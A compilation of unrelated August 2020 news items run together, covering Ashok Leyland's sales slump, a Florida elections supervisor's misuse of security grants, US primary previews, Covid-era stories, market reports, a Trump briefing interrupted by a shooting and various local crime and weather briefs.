sales of Ashok Leyland till July at 7,691 units as against 48,104 units sold in the same four months last year notwithstanding. As the governmental measures to reactivate the commercial sector are awaited, the management has taken the opportunity of the last few months to re-examine the business and operating models without any presumptions, Hinduja said. Besides aggressive cost cutting measures the Chennai-based bus market leader is banking on a complete revamp of its product portfolio for light and medium and heavy commercial vehicle segments complete with the launch of new brands. Upon a clinical assessment of the short term and long-term prospects, a series of initiatives have been set in motion to reconfigure the company aimed at sustainable growth while minimising the adverse impact of economic cycles, Hinduja added. Research and ratings provider ICRA has predicted volume shrinkage to 10 year lows in FY21 given the macro-economic headwinds compounded by the pandemic. Demand headwinds are expected to continue over the near-term given the macroeconomic challenges in view of the pandemic outbreak, coupled with weakening financial profile of fleet operators and significant price hikes because of transition to BS-VI emission norms," said ICRA in its report on the CV industry. In June Ashok Leyland launched AVTR claimed to be Indias first modular truck platform which allows up to 6 lakh possible combinations catering to the 18.5-55 tonne segments. The company is now in the process of launching light commercial vehicle platform Phoenix in the current quarter to address a segment where it was not present. The Phoenix has been in the works for more than a year and will cater to the 5-7 tonne segment. We made a courageous decision to introduce a modular truck platform AVTR for the medium and heavy range. We are now ready with an in-house developed new LCV range whose launch had to be deferred due to the COVID-19 crisis. The introduction is expected to be a game changer just as DOST was," Hinduja added. Last year Ashok Leyland claimed to have saved Rs 500 crore on costs which was in addition to cut-back on capital expenditure (capex). As against spends of more than Rs 2,000 crore lined up for FY20, the company ended up incurring capex of Rs 1,227 crore for the year. For FY21 and FY22 also the company has planned to cut back on capex. Though the exact capex amount was not shared by the executives, Chief Financial Officer Gopal Mahadevan indicated that capex for FY21 will be very tight and much lower than FY20. Vice Chairman of Shinsegae Group Chung Yong-jin shops at E-Mart's Wolgye branch in northern Seoul, on July 19. / Screen captured from Chung Yong-jin's Instagram By Kim Jae-heun Unlike many scions of the country's leading conglomerates who are reluctant to make public appearances or to share their daily life with the outside world, Shinsegae Vice Chairman Chung Yong-jin loves posting pictures of himself on social media. As of July 11, his Instagram account has over 396,000 followers. The vice chairman mainly shares photos of food he eats and places he visits but some are linked to the businesses he develops. His posting of a newly-opened Starbucks drive-thru coffee shop in Yangpyeong, Gyeonggi Province, when he visited the place on July 26, had a positive advertising effect in terms of highlighting the details of the new Starbucks store and how cozy it is. Starbucks Korea is a joint venture between E-Mart, Shinsegae's discount store subsidiary, and Starbucks Coffee International, with each possessing 50 percent of shares here. Chung also made a surprise visit to E-Mart's branch in Wolgye-dong, northern Seoul, to shop for home meal replacement items and he uploaded a picture of himself shopping on his social media account. The Wolgye store is a special branch that reopened in May 28. In a countermeasure to cope with customers' massive transition to online shopping, E-Mart adopted a new strategy to strengthen its grocery sector and the Wolgye branch is the first store to apply the changes. Chung's very-high social media literacy and his frequent use of it is also causing some controversy. Starbucks 'summer ready bag' posted by Chung on his Instagram account on June 5 / Screen captured from Chung Yong-jin's Instagram BRENTWOOD, Tenn., Aug. 11, 2020 /PRNewswire/ -- Numotion, the nation's leading provider of Complex Rehab Technology (CRT), has expanded its footprint in Wisconsin with the opening of its newest location in Madison, Wisconsin. Numotion Madison, located at 6460 Ronald Reagan Avenue, Madison, WI will be home to two Assistive Technology Professionals (ATPs) as well as various support staff. The new location gives Numotion a total of 14 ATPs serving Wisconsin communities. Other Numotion Wisconsin based offices are in Milwaukee, Eau Claire and Appleton. "Expanding our presence with this new location strengthens our ability to provide mobility solutions to not only Madison but surrounding communities throughout South Central Wisconsin," said Mike Swinford, Numotion CEO. "Madison is a great community with strong healthcare systems and we look forward to continuing to partner with area physicians and therapists to provide the best possible solutions for individuals with mobility needs in Wisconsin." About Numotion Numotion is the nation's leading provider of Complex Rehab Technology (CRT), improving the lives of people with disabilities by enabling them to actively participate in everyday life. CRT is medically necessary, individually configured mobility products and services, including manual and power wheelchairs, designed to meet the unique medical and functional needs of individuals with significant disabilities and medical conditions to provide them with greater independence. Based in Brentwood, Tenn., Numotion has more than 150 locations across the country and serves more than 260,000 people. For more information, please visit www.numotion.com. SOURCE Numotion Related Links http://www.numotion.com A beloved grandmother died alone after her family was denied compassionate exemptions to see her in Melbourne to say goodbye. Sandra Fraser, 70, took her final breath at about 1am on Thursday while her daughter was stranded in hotel quarantine and her grandchildren stuck in NSW. Shayne Fraser rushed home from Singapore, where she moved last year for her husband's job, when her mother suddenly became gravely ill. Shayne arrived in Sydney last Monday having applied to transfer to Melbourne, but was instead sent to quarantine at Novotel Darling Harbour. Sandra Fraser, 70, died on Thursday while her daughter Shayne (pictured together when Shayne was a baby) was stranded in hotel quarantine Shayne (left) was stuck in hotel quarantine, her son Luis (centre) stuck in NSW, and her daughter Hiba (right) still in Singapore, when Ms Fraser died She took two coronavirus tests, both of which were negative, but her application was denied despite pleas from her mother's palliative care nurses. 'No one should ever die alone. It's just heartbreaking, I'm totally broken, defeated, and exhausted from fighting,' she told Daily Mail Australia. 'I have travelled alone and am now mourning alone in a hotel room with no friends or family.' Shayne's three adult children and two grandchildren were also unable to see Ms Fraser before she died as the border between Victoria and NSW is closed. Ms Fraser's husband Darryl Mills, who is frail and disabled, was relying on Shayne's help to visit his dying wife, and was therefore unable to see her either. Devastated to have missed saying goodbye, Shayne applied again in the hope of being able to help Mr Mills organise the funeral, but was again denied. 'I was told by NSW Health that my need for an exemption was no longer urgent because my mum was already dead,' she said. Ms Fraser's granddaughter Mahtab, 18, was in Sydney behind a closed border Shayne rushed home from Singapore, where she moved last year for her husband's job, when her mother (pictured with baby Shayne left and recently right) suddenly became gravely ill 'My step dad is waiting for a hip replacement, he can not walk and is constantly having falls. The bottom half of his leg is black from lack of blood flow. 'He spent his birthday trying to organise his wife's affairs all by himself.' Australian coronavirus restrictions mean only citizens and permanent residents can fly into Australia, but face two weeks of mandatory hotel quarantine at their own expense. Medical and compassionate exceptions are possible but rarely handed out. However, celebrities like Danii Minogue and billionaires like Kerry Stokes have been allowed to self-isolate at home. Additionally, all international flights to Melbourne are cancelled and the border to the rest of Australia closed without exemptions. Shayne said she was happy to self-isolate with Mr Mills and didn't want special treatment - just compassion. She and her husband still pay taxes in Australia and are putting her 18-year-old daughter Mahtab through university in Sydney. 'I don't want to be in Melbourne considering the situation right now, but my stepdad has no one else,' she said. Ms Fraser's daughter Madeline and her children Gabi and Luci were over the border in NSW Shayne and her husband still pay taxes in Australia since moving for his job last year 'He has no family and because of his mobility issues he has no social network. He had a fall last night and I can't help him.' Shayne said her family strictly obeyed tough social distancing rules in Singapore and spent the past five months wearing face masks outside their home. Singapore will force her to self-isolate for another 14 days on her return, if she is even allowed back into the Southeast Asian nation at all. 'I am low risk as far as I'm concerned and I have followed all the rules,' she said. 'I left my 13-year-old daughter and husband in Singapore not knowing if they will ever let me back in. 'I didn't make this choice to travel lightly but also didn't expect the Australian government to be so cold and dismissive of my situation.' Ms Fraser's funeral is scheduled for Friday and she hopes she and her children will be able to be there. Election Security Spending 'Should be Made Public' Elections Grants Were 'Borrowed' Auditor's Findings Altered Ledgers (TNS) A public corruption scandal in a rural Florida elections office just an hour west of the state capital reveals how easily federal dollars meant for election security can be diverted to cover up malfeasance, a government watchdog says.The former elections supervisor in the panhandle's Liberty County is charged with using election security funds to hide $42,000 in personal spending sprees a potential accountability problem in any small office where one person holds the purse strings and nobody else is watching, observers said. The case's first hearing is Monday.The lack of oversight was exacerbated by a state-mandated nondisclosure agreement supervisors had to sign to get the election security money in the first place, they said."Especially when funds are meant to be used for a certain purpose, there needs to be transparency to let the public know the funds were used for the purpose given," said Ben Wilcox, research director for Integrity Florida, a nonprofit government watchdog. The alleged cover-up of misspent funds in Liberty County occurred around the same time Florida's elections officials were required to sign a confidentiality pact to obtain their share of $15.4 million in federal Help America Vote Act grants, money Congress approved for enhancing election security in advance of the 2018 mid-terms.The far-reaching pacts, revealed in February in ainvestigation, included a nondisclosure agreement that public records experts called bizarre and unenforceable and threatened to make a casualty out of transparency in the Sunshine State."In this case, it's public corruption," Wilcox said. "Essentially, the only protection we have against that kind of corruption is transparency and how public officials are using public funds. The fact that she wasn't caught until an audit was done on her elections office tells me there might have to be routine audits of election supervisors."Congress approved $385 million in 2018 to distribute to states to help enhance election security after the Mueller report found evidence of Russian hacking.One grant was for elections offices to join the nationwide Albert Network Monitoring System, which provides security alerts for traditional and advanced network threats.Another grant came through the federal Help America Vote Act (HAVA) for elections officials to buy equipment and software to enhance election security at the local level.Liberty County received $12,556 to join the nationwide Albert Network Monitoring System, and it received $55,386 in HAVA funds for enhanced election security measures for the 2018 general election.Florida's county elections supervisors had to sign a confidentiality agreement to receive the grant money. The reason given was that elections systems are considered part of the national security network and too much information would help hackers identify ways to breach the system again.Through public records requests,asked the 67 supervisors for an accounting of how they spent that money. About a third of the supervisors, including Liberty's, failed to reply or refused to comply, citing state and federal exemptions to public records laws.Nondisclosure agreements "create opportunities for what happened there in Liberty County, for people to use money other than for what it was intended and cover it up," Wilcox said.Patricia Brigham, president of the League of Women Voters of Florida, said her organization supports transparency when it comes to how money is spent on election security."How that money is being used should be made public," Brigham said. "All registered voters participating in the voting process have the right to know how the money appropriated for election security or for putting on elections is being spent."With fewer than 9,000 people, Liberty County has the smallest population in Florida. It's a blue dog Democratic county that tends to vote Republican 76% voted for Trump in 2016. Its elections office has three full-time staffers to run balloting for its 4,500 registered voters.Until May, the elections office was run by Gina McDowell, 46, who was first elected supervisor in 2012 after working in the office for most of her adult life.An independent audit in 2019 found she had used $67,000 in federal election security money to cover up a $25,000 spending deficit caused by her and her boyfriends' use of office funds for personal expenses."These grant funds were effectively 'borrowed' to cover normal operating expenditures. The grant funds were ultimately used for allowable purposes after year end," the Tallahassee CPA firm of Moran & Smith said in the mandatory state audit.That and other spending irregularities were shared with the Florida Department of Law Enforcement, which in turn conducted an investigation that led to the state filing felony fraud charges against McDowell and her boyfriend, Nolan Kobe Pigott.Their investigation uncovered $42,000 in what looked like personal expenditures throughout Alabama, Georgia and Florida's Big Bend over a four-year period. The money was spent on things like shampoo, razor blades, gift credit cards, cell phones, gift cards, Christmas gifts and two vacations to northern Georgia.The investigation also found expenses connected to visits to Pigott while he was incarcerated at the Wakulla County Jail in 2017. In interviews with the FDLE, McDowell blamed Pigott for much of the alleged fraud."That was not me," she said when questioned about some of the personal expenses. "That had to be him."If it weren't for the sharp eye of an independent auditor, who shared his findings with FDLE, the discovery of misspent federal elections funds wouldn't be public knowledge.Acting on a tip from former Deputy Supervisor Mary Strickland in October 2018, shortly before she was fired by McDowell, CPA Chris Moran discovered a huge increase in the amount paid to the supervisor's Capital One credit card $33,000 in the fiscal year ending Sept. 30, 2018.That practice continued into the 2019 budget cycle, resulting in another $30,000 in questionable expenses.After reviewing the monthly credit card statements, the auditors concluded that "the majority of the charges could not be supported as necessary to the operations of the office."Based on his preliminary examination, the auditor concluded the charges were for personal use. The supervisor paid credit card bills with "office funds and was unable to produce the documentation to support the business purpose served," the audit report said.Other abnormal expenses based on the office history included $5,500 in payments to McDowell for travel without supporting documentation and $7,056 to McDowell's own Discover Card.FDLE investigators confirmed that McDowell had sole control of the office credit card, maintained the QuickBooks ledger and approved all payments by the Liberty County Supervisor of Elections office.The investigation found that the ledgers McDowell submitted to the FDLE were different than those originally examined by the auditor. The changes show how she altered the ledgers to cover up the personal expenditures by claiming they were for election security.For example, several items charged to her Discover card that were originally classified as office supplies were changed in the FDLE-handed ledgers to read "cyber security" and "election supplies." McDowell said the payments to Discover were a mistake caused by a cellphone banking app, an excuse debunked by the investigators.Likewise, ledgers for fiscal 2018-19 showed payments to the Capital One card "falsely categorized" as either "contractual services," "election supplies" or "VR Systems."VR Systems is a Tallahassee-based company responsible for the state's online voter registration system as well as electronic polling books, software and training for all 67 Florida counties.According to the Help America Vote Act financial status report submitted to the Department of State in December 2018, Liberty County spent $55,125 of its federal allotment on election security, leaving about $260 unspent.The grant money came in around August, a month before the close of the 2018 fiscal year, and was spent at the beginning of the 2019 fiscal year, the audit showed.The status report, signed by McDowell on December 18, 2018, shows the county spent $3,855 on VR Systems' Direct Print Ballot On Demand license fee, $7,950 on VR Systems direct print computers and $15,360 on EVID electronic poll books by VR Systems.It took staff about two weeks to track down all the items on the status report, said Grant Conyers, the Bristol businessman appointed to replace McDowell after she was suspended in May by Gov. Ron DeSantis.But Conyers has yet to produce invoices, receipts or other proof of purchase as requested by: "All of the items have been accounted for and are present in our office inventory," said Conyers, who declined an interview request. Four states hold primaries Tuesday. In addition, there are some primary runoffs in Georgia. Overview and live results for some of the more interesting races are below, along with a link to all contested congressional and/or gubernatorial primaries in each state. Polls Close (Eastern Time) Your individual polling place may have different hours. Do not rely on this schedule to determine when to vote. 7:00 PM Georgia, Vermont 8:00 PM Connecticut 9:00 PM Minnesota, Wisconsin Results by State Connecticut President: Just one week before the Democratic convention, the much-delayed presidential primary calendar concludes. Although both nominations have long been decided, there is a 'contested' primary in both parties. House: Democrats control all five seats. All incumbents are seeking another term and are unopposed for renomination. Most analysts see these seats as safely Democratic in November. There are two primaries on the GOP side. Use the link below for full results. All Connecticut Results >> Back to Top Minnesota Senate: Democratic Sen. Tina Smith is seeking her first full term. She joined the Senate in January, 2018, appointed by Gov. Mark Dayton after the resignation of Al Franken (D). Smith then won a special election that November to complete the final two years of Franken's term. Smith has drawn nominal primary opposition. On the GOP side, the likely nominee is former Rep. Jason Lewis, who represented the state's 2nd congressional district for one term before being defeated by Democrat Angie Craig in 2018. Smith is favored in the general election, although she's only averaging a six-point lead in limited polling thus far. House: This is one of the most competitive states in the country. Half of the eight seats flipped in 2018, including the only two GOP gains in the nation (outside of a redistricted Pennsylvania seat). For more background, see this week's Road to 270 article by Drew Savicki. The most interesting primaries of note are in Districts 5 and 7. District 5: Freshman Democratic Rep. Ilhan Omar has drawn a strong primary challenge from attorney Antone Melton-Meaux. Omar has received the endorsement of several high profile House colleagues, including Speaker Nancy Pelosi and the other three members of 'The Squad': Alexandria Ocasio-Cortez, Ayanna Pressley, and Rashida Tlaib. The Minneapolis Star Tribune has endorsed Melton-Meaux. Both candidates have reported similar amounts of fundraising. This Minneapolis-area district is the most Democratic in the state - Omar won by a 56 point margin in 2018. Whoever emerges as the nominee will be an overwhelming favorite in November. District 7: This district occupies most of the western part of the state. Democratic incumbent Collin Peterson is seeking a 16th term. Peterson has held on as this mostly rural district has become increasingly conservative. Peterson's margins since 2012: 26%, 9%, 5%, 4%. Donald Trump won here by 31% over Hillary Clinton in 2016, by far the largest margin of any of the 30 Trump-won districts (<- scroll to bottom of page) represented by a Democrat. in 2016 and 2018, Republicans nominated Air Force veteran Dave Hughes. He's back for a third try, along with several others, but the favorite this time looks to be former Lt. Gov. Michelle Fischbach. She has the endorsement of both President Trump and the state GOP. All Minnesota Results >> Back to Top Vermont Governor: Vermont and neighboring New Hampshire are the only two states where governors face the voters every two years instead of four. Republican Gov. Phil Scott is seeking a third term. He's favored to win in November despite the deep blue lean of the state. The consensus rating is Likely Republican. Scott faces a nominal primary challenge. There are four candidates on the Democratic side. The two frontrunners appear to be the state's Lt. Gov. David Zuckerman and former Education Secretary Rebecca Holcombe. House: Rep. Peter Welch is seeking an 8th term in the state's at-large district. He's unopposed for renomination and heavily favored in November. All Vermont Results >> Back to Top Wisconsin House: There are five Republicans and three Democrats in the delegation. All are seeking another term, except the most senior member, Rep. Jim Sensenbrenner (WI-5), who is retiring after over forty years in the House. District 3: This district in the southwestern part of the state is the only one that is on the competitive radar in November. Incumbent Ron Kind won his 12th term by 19% in 2018. However, it is a district that Donald Trump won by nearly 5%. The current rating is Likely Democratic. Kind has drawn a primary challenge from a progressive political newcomer, physician Mark Neumann. Kind has had far more fundraising success, and is expected to prevail. Two candidates are competing for the GOP nomination. District 5: With Sensenbrenner's retirement in this district Trump won by 20%, the winner of Tuesday's primary will be a heavy favorite in November. That is expected to be Scott Fitzgerald, the Majority Leader of the state Senate. All Wisconsin Results >> Back to Top Georgia (runoff) There are four U.S. House primaries where no candidate got a majority of the vote during the June 9 primary. Of most interest are the GOP runoffs in Districts 9 and 14. These are both very (very) conservative districts in north Georgia, so the runoff winners here are almost certain to be the next members of Congress. District 9: Rep. Doug Collins is not seeking a 5th term but instead running for U.S. Senate in the state's special election. The runoff features state Rep. Matt Gurtler and business owner Andrew Clyde. In the nine-candidate June primary, Gurtler finished with 21%, slightly more than Clyde's 18.5%. District 14: Six-term incumbent Tom Graves is retiring. The June primary here also featured nine hopefuls, with businesswoman Marjorie Taylor Greene finishing first with 40% of the vote. Neurosurgeon John Cowan finished second with 21%. Greene is a controversial candidate, disavowed by some House GOP leaders for racist Facebook postings and support of the QAnon conspiracy theory. There are also two Democratic runoffs, one in the aforementioned District 9. Coastal District 1 isn't quite as conservative as some other GOP strongholds in this state; Republican Buddy Carter won his 3rd term by 15% in 2018. However, at this point, most forecasters rate it as Safe Republican in November. By Express News Service BENGALURU: The country needs 1.5 lakh nurses, 50,000 doctors who are young and skilled in ICU care to work for the next one year on Covid care, renowned cardiologist Dr Devi Shetty said on Monday while speaking at the virtual launch of Covid Healthcare Professionals (CHP). Final year students of BSc nursing, doctors in final year PG, MB or DNB courses should be considered passed without writing the exam, if they work for the next one year with Covid patients. We also need telemetric devices that will check BP, respiration, pulse rate, ECG analysis, risk, saturation level to replace nurses touch for corona patients." "They can come in only in advanced stages like ventilator handling. The data can be sent to senior doctors, who cannot enter the ICU, for analysis, Dr Shetty said. He said that private medical colleges should adopt the 740-odd government district hospitals and convert them into medical colleges. The government must allow private hospitals to charge as per market rates, so they can in turn cross-subsidise rates for patients in need. Doctors, nurses and paramedics can register on the CHP platform and get suitable jobs in hospitals looking to hire staff. Of the 1,400 professionals registered on CHP, 51 medicos and four hospitals are from Karnataka. The platform is built by ECHO India, a healthcare non-profit, in association with Naukri.com, and will profile medical skills and match them with hospitals. Already, 60 hospitals have registered on it and the aim is to have 10,000 healthcare workers on it, treating 1,00,000 Covid patients. Dr Arvind Lal, chairman, Dr Lal Path Labs, said there is a huge shortage of health professionals, with India requiring 10 lakh doctors, 20 lakh nurses and 30 lakh paramedics. Through this portal, a person registers and finds a match based on location and language. They are asked questions on the amount of time they can dedicate, their area of specialization and a set of people is listed and sent to hospitals, which in turn conduct one-on-one interviews. The selected people are trained to handle the coronavirus and how to protect oneself while on duty. They are free to negotiate salary with the employers, Dr (Col) Kumud Rai, Chairman & Managing Trustee, ECHO India, told TNIE on the sidelines. Sensex and Nifty ended on a bullish note on Tuesday amid heavy buying in banking and financial stocks tracking mixed cues from global markets. Extending gains for the third consecutive session, Sensex ended 244 points higher at 38,407 and Nifty closed 52 points higher at 11,322. Yesterday, Sensex ended 141 points higher at 38,182 and Nifty gained 60 points to 11,274. Axis Bank, followed by Tata Steel, ICICI Bank, HDFC, PowerGrid, Tech Mahindra and SBI were among the top gainers. On the other hand, Titan, Sun Pharma, Bharti Airtel and Reliance Industries were among the laggards. Scheduled April-June quarterly earnings announcements by Bosch, Motherson Sumi Systems, Metropolis Healthcare, Central Bank of India, Bajaj Electricals, Honda India power products, RITES, Symphony also helped to keep the tone for the stock market bullish today. Valuations On Nifty's technical indicators, Manish Hathiramani, proprietary index trader and technical analyst, Deen Dayal Investments said, "After crossing the hurdle of 11250, we have moved swiftly to over 11,350 upon opening itself. We should be able to achieve 11,400 and then 11,500 in this intermediate upward rally. The Nifty support continues to be at 11,100." "Going ahead, the upcoming macroeconomic data viz. CPI, IIP data and Supreme Court hearing on AGR case (Friday) would be on investors' radar," said Ajit Mishra, VP - Research, Religare Broking on markets' near-term outlook. Overseas markets Global equities were trading higher today, although on a cautious note amid renewed tension between US and China. The tensions between the world's two largest economies escalated after banning of Chinese apps in the US. In the latest flare-up in tensions, Beijing has imposed sanctions on 11 US officials. Wall Street also saw a mixed session yesterday as investors eyed stalled US stimulus efforts. A pause on fiscal aid negotiations in Washington and escalating US-China trade tensions have kept gains in global equities muted in the recent sessions. Worldwide, there are 202 lakh confirmed cases and 7.38 lakh deaths from the coronavirus COVID-19 outbreak. In India, coronavirus cases surpassed 22 lakh mark today, with total deaths standing at 0.45 lakh. Gold price falls for 2nd day; down Rs 1,600 from record high Share Market Highlights: Sensex ends 224 points higher, Nifty at 11,322; NTPC, ITC, JSW Steel top performers The president was moments into a briefing that before long would become filled with familiar Trump mistakes and hyperbole when the scene was disrupted by something new, unexpected, and imminently concerning: a Secret Service agent who soon whisked the president and his staff from the briefing room. What became clear, only after the president returned to the briefing room later, was that there had been a shooting nearby, one that the president dubbed an actual shooting, that he said resulted in someone being taken to the hospital after apparently being shot by the U.S. Secret Service. But, after focusing on the shooting and taking a few questions on it, Trump returned to normal as he went through his coronavirus talking points. He trudged through the briefing as usual, touting vaccine candidates for the coronavirus pandemic, trumpeting his recent executive actions, calling on schools to reopen, and attacking former Vice President Joe Biden, his Democratic rival in the 2020 presidential race Brendan Smialowski/AFP via Getty I didnt even think about not coming back, Trump told reporters when asked why he came back to the briefing after the worrying scene. He was only able to provide scant details of the incident. The suspect is now on the way to the hospital, Trump told reporters. I cant tell you the condition of the suspect. There was nobody else injured. There was no other law enforcement injured. Violent incidents involving the Secret Service are infrequent but not unheard of. An agent shot a Pennsylvania man in May 2016 when the man approached the 17th and E streets NW gate while carrying a .22 caliber gun. An off-duty agent shot a dog in a controversial incident in Brooklyn in January. Efforts to improperly access the White House grounds are more common, and the Secret Service arrested three people for scaling the fence in 2017 alone. Among the more serious incidents in the past decade were the shots fired at the building while then-President Barack Obama was away in November 2011, and a white minivan a woman crashed into the 17th and E streets gate in February 2018. Story continues When a reporter asked if Trump was concerned that the incident had come close enough that he had to be removed from the briefing room, he said he didnt believe anything had been breached. As the presidents briefing continued, the Secret Service tweeted confirmation that there has been an officer involved shooting at 17th Street and Pennsylvania Ave. Law enforcement officials are on the scene. More information to follow. Just before 8 p.m. the Secret Service gave an update, tweeting: A male subject and a USSS officer were both transported to a local hospital. At no time during this incident was the White House complex breached or were any protectees in danger. It didnt take long before Trump tried to push the strangeness of the start of the briefing away as he returned to his familiar comforts. He mused about possible sites for his presidential nomination acceptance speech, which he had earlier tweeted were down to the Great Battlefield of Gettysburg, Pennsylvania, and the White House. When one reporter asked Trump if he would have called on Obama to resign if he had been president when 160,000 people died as they already have in the United States during the pandemic, Trump answered, No, I wouldnt have done that, before declaring he thought its been amazing what weve been able to do. If the country hadnt shut down, he said, there could have been 1.5 million to 2 million people already dead. Trump added, Weve called it right, now we dont have to close it, we understand the disease, though the virus continues to kill and spread throughout the United States. Nobody understood it because nobodys ever seen anything like this, Trump said. The closest thing is in 1917, they say, right, the great pandemic certainly was a terrible thing where they lost anywhere from 50 to 100 million people. Probably ended the Second World War, all the soldiers were sick. That was a terrible situation. World War II began in 1939, while the pandemic hes pointing to started in 1918. The president concluded things bizarrely by indulging in the Trump-era equivalent of comfort food, taking a question from One America News Network that allowed him to vent conspiracies about the Obama administration and criticize Susan Rice. The former national security adviser is considered a possible choice to become Bidens vice presidential nominee. Frankly, if he chooses her thats fine, Trump said before ending one of his strangest briefings yet. But thats a potential liability. Read more at The Daily Beast. Got a tip? Send it to The Daily Beast here Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. Willy Wonka is not giving out golden tickets this time, but his name topped Twitter's trending list for a different reason. Everyone's childhood had been completed by watching the film "Charlie and the Chocolate Factory" in 2005. While some found Willy Wonka and the Oompa Loompas creepy, the breathtaking chocolate factory shooed those fears away. Although no one has ever deemed Willy Wonka as "a super attractive guy" even when Johnny Depp played the role, people has apparently changed their minds 15 years later as they started talking about the fictional character again. However, instead of Johnny Depp, the 19-year-old TikTok user called Duke Depp is the reason behind the Willy Wonka trend. On Sunday, the Utah-based TikTok user immediately gained over 3.6 million followers after he gave life and paid homage to Tim Burton's character. His portrayal of Depp's iconic character launched him to fame, and he now ranks as 699th among the most popular TikTok user. Duke danced to the latest dance trends while bringing the classic Willy Wonka to the new generation. Soon after his videos went viral, many "Charlie and the Chocolate Factory" fans reacted on Twitter and put Willy Wonka's name on the top trending list even more. It all started when Twitter user @rhaeberry posted a series of Duke's images while portraying Willy Wonka. She captioned the post with: "i'm sorry to everyone this offends but yes i'm love with the willy wonka guy on tik tok." One netizen reacted to one of Duke's video and said, "Pov: you're oompa loompa and Willy Wonka is performing a strip tease for you." "Whoever is retweeting willy wonka fancams rn literally marry me thank you for blessing my feed," another fan said. As of August 10, the influencer has over 3.9 million followers on TikTok, 113,000 subscribers on YouTube, and 6,500 followers on Twitter. Duke Pulling Off Willy Wonka Character Not many people can cosplay Depp's character, but the TikTok star has got it on point. On May 3, 2020, Duke, whose TikTok username is willywonkatiktok, uploaded his first video on the platform while wearing Willy Wonka's costume. He recited lines from the "Charlie and the Chocolate Factory" movie and garnered over 42,400 likes in three months. A month later, he uploaded a Vibe dance video that scored over 1.8 million likes in two months. On July 8, willywonkatiktok shared a POV video and captioned it with: "Pov: Your mind wanders while on Willy Wonka's chocolate factory tour." He also joined the fold challenge and earned over 646,300 likes in two days. Johnny Depp famously played the role of Willy Wonka in the "Charlie and the Chocolate Factory" movie in 2005. The film also helped him get two major awards -- the Empire Award for Best Actor and Teen Choice Award for Choice Movie Actor: Comedy. The actor is currently in the middle of a legal battle against News Group Newspapers and Amber Heard. Still, his fans might ask for a collaboration with the TikTok influencer once everything is resolved. READ MORE: Sweet Revenge! Johnny Depp Shows MASSIVE Disrespect to Amber Heard n Los Angeles, a white police officer charged a Black man with drunk driving. In Chicago, a Black woman was accidentally run over and killed by a firetruck. In both cities, and several others across the nation, rioting erupted. A Black newspaper reporter told the Associated Press, Were tired and were boiling over. The weathers been hot. If it never had been hot, this never would have happened. The newsman said, the majority of these people are poor, hungry, struggling, restless, frustrated. They cant help giving vent to their emotions. In Los Angeles, the riot in the Watts section of Los Angeles, started on Aug. 11, 1965 55 years ago. Racial tension was already high. Spectators to the police pulling over the driver for driving while intoxicated, watched what they believed was racially-motivated police abuse. That tension exploded into five days of rioting that left 34 people dead, more than 1,000 people injured and almost 4,000 arrested. Property damage amounted to more than $40 million. President Lyndon Johnson implored people to stop the violence. Killing, rioting and looting are contrary to the best traditions of this country. We are deeply committed to the fulfillment of every Americans constitutional rights. We have worked hard to protect those rights. But rights will not be won through violence. Equal rights carry equal responsibilities. No person has the right to inflict harm on the life or property of others. Every person has the responsibility to uphold law and order. I call upon all Americans to fulfill that responsibility, Johnson said. The Watts riots enveloped a 50-square-mile area of southcentral Los Angeles. The rioting escalated into looting, physical violence and setting fires to hundreds of buildings. Order was eventually restored on Aug. 16 after thousands of National Guardsmen arrived. According to history.com, The Watts riot was the worst urban riot in 20 years and foreshadowed the many rebellions to occur in ensuing years during the 1967 Detroit Riots, the Newark Riots, and other violence. Buildings burn along a Los Angeles street in the Watts section during riots in this file photo taken Aug. 14, 1965. (AP Photo/File)AP READ MORE Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. When one of them called out that he was calling 911, authorities said someone fired several shots through the broken door window. One of the residents was shot in the shoulder and the other in the buttocks, police said, and both were treated at Loyola Medical Center in Maywood. TUCSON, Ariz. A U.S. Border Patrol agent assigned to the Tucson Sector Ajo Border Patrol Station has been accused of drug trafficking, authorities said Monday. Federal prosecutors said 53-year-old Carlos Victor Passapera Pinott of Buckeye was arrested Sunday on suspicion of multiple counts of conspiracy and possession with intent to distribute controlled substances. Passapera had his initial court appearance Monday in Tucson. Its unclear if he has a lawyer yet. Prosecutors said Passapera left his home early Sunday and drove to a remote area of the border west of the Lukeville Port of Entry. Passapera then drove to Phoenix Sky Harbor International Airport, where he allegedly loaded two duffel bags into another vehicle. Law enforcement agents stopped the driver of that vehicle after it left the airport and searched the duffel bags. Authorities said the bags contained 21 kilograms of cocaine, one kilogram of heroin and one kilogram of fentanyl plus some 350,000 pills believed to fentanyl. Law enforcement agents executed a search warrant at Passaperas home and reported finding about $329,000 in cash plus an additional $40,000 in his vehicle. KALAMAZOO, MI After storms ravaged southwest Michigan Monday night, thousands across the region are waking up without power. As of 8 a.m. Consumers Energy reports 3,656 customers without power in Kalamazoo County, 1,359 without power in Van Buren and another 630 without power in Allegan County. Other counties impacted included Calhoun, St. Joseph, Barry and Ottawa. We expect those still without power to be back by the end of the day today, Consumers Energy spokesperson Roger Morgenstern said. We continue to monitor the weather and well be ready for whatever Mother Nature gives us. Its that time of year. Morgenstern said there were 33,100 Consumers customers without power across the state overnight, but less than 9,000 remain without as of 8 a.m. View Consumers Energy power outage center for more information on individual outages. Among those hardest hit in the region were those in Berrien County. Indiana-Michigan Power reports 20,000 customers without power across southwest Michigan with 16,000 of those being in Berrien County. The other outages reported by Indiana-Michigan are spread primarily between Van Buren, Cass and St. Joseph counties, with scattered outages in Kalamazoo and Allegan counties. Midwest Energy & Communications reports another 1,500 outages in the region. Indiana-Michigan spokesperson Tracy Warner said the company expects to have an update at 9 a.m. regarding when power is expected to be back on for the companys Michigan customers. Also on MLive: Kalamazoo-area prep football players begin practice with cautious optimism for 2020 season Alleged killer of young father, also charged with shooting three officers, to stand trial Woman charged with three felonies in mans death after wrong-way crash in Southwest Michigan Whitmer vetoes bill to give healthcare workers legal immunity during a state of emergency Zelensky makes gambling legal in Ukraine 13:40, 11.08.20 5863 The document was returned to parliament with the president's signature on August 11. U.S. Border Patrol agents assisted by the Federal Bureau of Investigations rescued a father and son who were kidnapped in Nuevo Laredo, authorities said. Agents began working with the family of the victims to return them safely. Authorities learned that the family had been paying the kidnappers for the return of their relatives. The Dubai Health Authoritys (DHA) Dubai Cord Blood and Research Centre (DCRC) received 72 electronic registration requests from expecting mothers who want to store their cord blood stem cells. The DHA introduced the electronic registration method last June to allow pregnant women to register online to store their cord blood stem cells for up to 30 years from the comfort of their homes. After providing the requested information and meeting the needed criteria, the centre delivers the cord blood stem cells collection kit to the pregnant women. 